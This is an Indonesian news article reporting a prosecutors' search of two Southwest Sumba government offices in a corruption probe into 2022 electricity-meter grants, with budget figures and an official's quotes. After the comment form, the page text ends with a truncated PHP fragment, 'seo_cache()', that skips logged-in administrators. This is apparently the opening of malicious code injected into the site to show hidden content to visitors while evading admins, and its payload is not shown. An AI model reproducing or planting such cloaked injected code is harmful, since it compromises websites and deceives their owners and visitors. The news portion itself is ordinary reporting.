Hukum

Usut Dugaan Korupsi Pekerjaan Hibah Meteran Listrik dan Instalasi Tahun 2022 di SBD, Penyidik Tipidsus Kejari Sumba Barat Geledah Dua OPD

×

Usut Dugaan Korupsi Pekerjaan Hibah Meteran Listrik dan Instalasi Tahun 2022 di SBD, Penyidik Tipidsus Kejari Sumba Barat Geledah Dua OPD

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Tim Penyidik Kejaksaan Negeri Sumba Barat menggeledah dua OPD di Kabupaten Sumba Barat Daya.

Penggeledahan yang berlangsung pada Jumat (15/08/2025) sekira pukul 10.00 Wita ini menyasar Kantor Dinas Perumahan Rakyat dan Kawasan Permukiman Kabupaten SBD serta Kantor Badan Keuangan dan Aset Daerah (BKAD) Kabupaten SBD.

Tindakan ini dilakukan sesuai Surat Perintah Penyidikan dari Kepala Kejaksaan Negeri Sumba Barat Nomor : PRINT- 15 /N.3.20/Fd.2/03/2025 tanggal 06 Maret 2025 dan Surat Perintah Penggeledahan Nomor Print- 1/N.3.20/Fd.2/08/2025 tanggal 13 Agustus 2025.

Plt. Kepala Seksi Intelijen Kejaksaan Negeri Sumba Barat, Putu Gede Adhitya Raynatha Putra, SH menjelaskan, penggeledahan dilakukan untuk kepentingan penyidikan.

“Dalam rangka mengungkap perkara dugaan tindak pidana korupsi pekerjaan hibah meteran listrik dan instalasi pada Dinas Perumahan Rakyat dan Kawasan Pemukiman Kabupaten SBD tahun 2022 yang tersebar di wilayah Kabupaten SBD,” ujarnya.

Disebutkannya, pagu anggaran pekerjaan ini terbagi dalam 2 (dua) item pekerjaan.

Pertama, pekerjaan hibah meteran listrik sebesar Rp. 1.893.600.000 (satu miliar delapan ratus sembilan puluh tiga juta enam ratus ribu rupiah) untuk pemasangan dan instalasi meteran listrik sebanyak 789 unit.

“Kedua, anggaran senilai Rp. 199.000.000 (seratus sembilan puluh sembilan juta rupiah) untuk 83 unit,” imbuhnya.

Dalam penggeledahan ini Tim Penyidik Kejaksaan Negeri Sumba Barat berhasil menemukan sejumlah dokumen penting yang diduga kuat berkaitan dengan perkara tersebut.

Dokumen-dokumen itu, katanya lebih lanjut, akan menjadi bukti penting dalam proses penyidikan.

Ia menyebut, langkah ini merupakan bagian dari upaya penegakan hukum yang tegas oleh Kejaksaan Negeri Sumba Barat.

“Sekaligus menunjukkan komitmen nyata dalam memberantas praktik korupsi di wilayah Hukum Kejaksaan Negeri Sumba Barat yang merugikan keuangan negara dan menghambat kesejahteraan masyarakat,” tegasnya.

Karena itu, penegakan hukum harus dilaksanakan secara profesional, transparan, dan tanpa pandang bulu, demi memastikan keadilan dapat dirasakan oleh seluruh lapisan masyarakat,

“Dengan adanya komitmen tersebut diharapkan jadi pengingat bagi semua pihak yang terlibat dalam pengelolaan proyek pemerintah untuk senantiasa menjunjung tinggi integritas, akuntabilitas, dan kepatuhan terhadap hukum,” tandasnya.

Penggeledahan pada hari itu didampingi sejumlah personil Kodim 1613/Sumba Barat, disaksikan sekretaris dinas, beberapa staf, dan Kasi Tramtib Kecamatan Loura, Kabupaten Sumba Barat Daya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>